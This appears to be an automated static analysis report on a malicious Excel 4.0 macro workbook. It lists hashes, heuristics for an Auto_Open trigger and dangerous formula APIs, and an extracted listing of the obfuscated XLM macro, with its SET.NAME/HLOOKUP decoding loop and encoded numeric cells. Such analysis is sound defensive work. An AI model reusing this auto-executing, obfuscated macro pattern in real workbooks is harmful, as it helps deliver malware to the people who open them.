Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a812c86970adc504…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:42 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 955c29f321dd6dfea6971b6637a4d14d SHA-1: feef0041761c1a0c6e7fc7337f88eb19801b98c2 SHA-256: a812c86970adc5040e817c52950216e0eedb95d841c9d9a9edc68072b098f238
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open function, which is a critical indicator of malicious intent. This function is designed to execute automatically when the workbook is opened, enabling the execution of dangerous formula APIs like RUN. The presence of the Auto_Open macro strongly suggests the file is intended to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6870 bytes
SHA-256: a0e8e4c46f4e8f46d8f85286795d02d3209256001c9b8648ffa78bb99ef914ce
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UxHUunkAFj
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I189 
' 0018     25 LABEL : Cell Value, String Constant - cwHPEPGdBr len=0 
' 0018     20 LABEL : Cell Value, String Constant - Etomi len=0 
' 0018     23 LABEL : Cell Value, String Constant - faQYEeHH len=0 
' 0018     22 LABEL : Cell Value, String Constant - fpnjyyw len=0 
' 0018     22 LABEL : Cell Value, String Constant - gMBNplH len=0 
' 0018     25 LABEL : Cell Value, String Constant - hdadMyRJpt len=0 
' 0018     22 LABEL : Cell Value, String Constant - HPqskCJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - huWGF len=0 
' 0018     26 LABEL : Cell Value, String Constant - JGGPWmeAtvl len=0 
' 0018     27 LABEL : Cell Value, String Constant - mBYLmspaHPbH len=0 
' 0018     21 LABEL : Cell Value, String Constant - NMTVyL len=0 
' 0018     24 LABEL : Cell Value, String Constant - qwtiXcliL len=0 
' 0018     20 LABEL : Cell Value, String Constant - rytLq len=0 
' 0018     25 LABEL : Cell Value, String Constant - SJRkXuVOBl len=0 
' 0018     26 LABEL : Cell Value, String Constant - TEiUSHarWVB len=0 
' 0018     24 LABEL : Cell Value, String Constant - VHLZFHObK len=0 
' 0018     25 LABEL : Cell Value, String Constant - WxYJbIEpHq len=0 
' 0018     21 LABEL : Cell Value, String Constant - YpTqBH len=0 
' 0018     21 LABEL : Cell Value, String Constant - zAwxFZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - zRnFuBKTJB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UxHUunkAFj,P74,"",-618.00000000000000000000
'  UxHUunkAFj,P75,"",728.00000000000000000000
'  UxHUunkAFj,P76,"",770.00000000000000000000
'  UxHUunkAFj,P77,"",-644.00000000000000000000
'  UxHUunkAFj,P78,"",849.00000000000000000000
'  UxHUunkAFj,P79,"",-858.00000000000000000000
'  UxHUunkAFj,I96,"SET.NAME("faQYEeHH",0+VALUE("0"))",""
'  UxHUunkAFj,I101,"SET.NAME("huWGF",faQYEeHH)",""
'  UxHUunkAFj,I105,"SET.NAME("rytLq",faQYEeHH)",""
'  UxHUunkAFj,I107,"SET.NAME("TEiUSHarWVB",COUNTA(fpnjyyw))",""
'  UxHUunkAFj,I111,"SET.NAME("NMTVyL",COUNTA(cwHPEPGdBr))",""
'  UxHUunkAFj,I115,[],""
'  UxHUunkAFj,I120,"SET.NAME("SJRkXuVOBl","")",""
'  UxHUunkAFj,I123,"huWGF",""
'  UxHUunkAFj,I128,"SET.NAME("zAwxFZ",HLOOKUP("*",fpnjyyw,huWGF,FALSE))",""
'  UxHUunkAFj,I130,"mBYLmspaHPbH",""
'  UxHUunkAFj,I134,"SET.NAME("qwtiXcliL",faQYEeHH)",""
'  UxHUunkAFj,I139,[],""
'  UxHUunkAFj,I143,"qwtiXcliL",""
'  UxHUunkAFj,I148,"HPqskCJ",""
'  UxHUunkAFj,I152,"gMBNplH",""
'  UxHUunkAFj,I155,"Etomi",""
'  UxHUunkAFj,I159,"SET.NAME("zRnFuBKTJB",VALUE(HLOOKUP("*",cwHPEPGdBr,Etomi,FALSE)))",""
'  UxHUunkAFj,I163,"hdadMyRJpt",""
'  UxHUunkAFj,I166,"SJRkXuVOBl",""
'  UxHUunkAFj,I168,"rytLq",""
'  UxHUunkAFj,I171,NEXT(),""
'  UxHUunkAFj,I173,"VHLZFHObK",""
'  UxHUunkAFj,I177,[],""
'  UxHUunkAFj,I182,"WxYJbIEpHq",""
'  UxHUunkAFj,I184,NEXT(),""
'  UxHUunkAFj,I186,RETURN(),""
'  UxHUunkAFj,I215,"SET.NAME("YpTqBH",I96)",""
'  UxHUunkAFj,I219,"fpnjyyw",""
'  UxHUunkAFj,I222,"SET.NAME("cwHPEPGdBr",R42C11)",""
'  UxHUunkAFj,I225,"SET.NAME("WxYJbIEpHq",233)",""
'  UxHUunkAFj,I230,"SET.NAME("JGGPWmeAtvl",9)",""
'  UxHUunkAFj,I232,YpTqBH(),""
'  UxHUunkAFj,I233,HALT(),""

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